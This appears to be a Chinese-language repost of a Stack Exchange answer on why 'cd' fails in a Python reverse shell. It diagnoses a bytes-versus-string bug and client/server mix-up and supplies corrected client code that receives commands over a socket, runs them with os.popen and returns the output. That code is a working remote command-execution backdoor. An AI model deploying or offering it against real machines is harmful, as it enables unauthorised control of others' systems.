反向Shell中无法执行cd命令的问题排查求助
问题根因
- 代码归属错误:你贴在服务端
send_target_commands函数后的命令处理循环,属于客户端逻辑,写在服务端只会在服务端本地执行目录切换,不会作用到客户端。
- 代码归属错误:你贴在服务端
- 类型判断错误:客户端接收的
cmd是字节类型,直接和字符串"cd"做相等判断永远为假,cd执行分支根本不会触发,这是目录切换无效的核心原因。
- 类型判断错误:客户端接收的
- 异常处理缺失:cd执行时如果遇到目录不存在、权限不足等错误,没有捕获逻辑也没有返回报错信息,会导致客户端无响应或崩溃。
修复方案
1. 梳理代码归属
服务端仅保留命令发送、结果接收逻辑,命令执行、cd处理逻辑全部迁移到客户端代码中。你原本的send_target_commands逻辑无需修改,只需删掉服务端里不该存在的命令处理while循环即可。
2. 修复客户端命令处理逻辑
替换原有客户端的命令处理代码为以下内容:
import os import socket # 假设s是已经连接到服务端的socket对象 while True: # 先将接收的字节内容转成utf-8字符串 cmd = s.recv(20480).decode("utf-8") result = b"" # 用startswith判断更适配cd带空格、带参数的场景 if cmd.startswith("cd"): try: # 切换目录 os.chdir(cmd[3:].strip()) # 切换成功赋值OK result = b"OK" except Exception as e: # 切换失败返回错误信息 result = f"cd执行失败: {str(e)}".encode("utf-8") else: # 其他命令正常执行读取输出 exec_result = os.popen(cmd).read() result = exec_result.encode("utf-8") # 统一处理空输出返回OK的逻辑 if len(result) == 0: result = b"OK" # 回传结果给服务端 s.send(result)
验证方法
修复后执行cd命令时,切换成功会返回OK,切换失败会返回具体错误信息,后续执行pwd(Linux)或cd(Windows不带参数)即可看到目录已切换成功。
内容的提问来源于stack exchange,提问作者Bahar lila
相关产品推荐
相关产品推荐

